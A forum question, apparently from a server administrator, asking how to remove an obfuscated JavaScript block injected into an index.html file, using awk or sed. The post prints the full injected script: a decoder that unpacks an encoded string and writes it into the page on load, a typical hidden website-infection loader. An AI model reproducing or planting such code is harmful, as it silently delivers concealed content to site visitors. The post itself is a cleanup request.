clear complex javascript code
Hi,
Please advise how can we clear the following javascript content from a file commandline, probably using awk or sed
File before removing the content.
################################
root@server1 [~]# cat index.html
This is a test page
<script language=JavaScript>function d(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,30,9,49,32,33,37,42,60,14,0,0,0,0,0,0,58,28,8,4,13,23 ,5,35,18,39,15,41,25,38,11,36,17,43,22,7,26,57,27,44,6,12,2,0,0,0,0,48,0,56,24,61,54,19,59,20,52,10, 1,50,3,21,51,0,40,31,45,34,16,47,55,62,53,46,29);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}d("Lk8_EeYkoEpxEVYMZdAhPEcIi7phHNcsRSD3PnWxPnW3ZqD3luBnNJWkiTW_YGa3Y uWszvzvNTW_YQ2hRl8xgib5HnA_PvYMZ9K4FdY_YNAnPGK4eib5RSDv2lYMZ9DnRn83YIYnPncIFdYnjSY_NfK4VMKsYJ8xCGY_V Z")</script> This is a testing page
root@server1 [~]#
File after removing the content.
################################
root@server1 [~]# cat index.html
This is a test page
This is a testing page
root@server1 [~]#
Thanks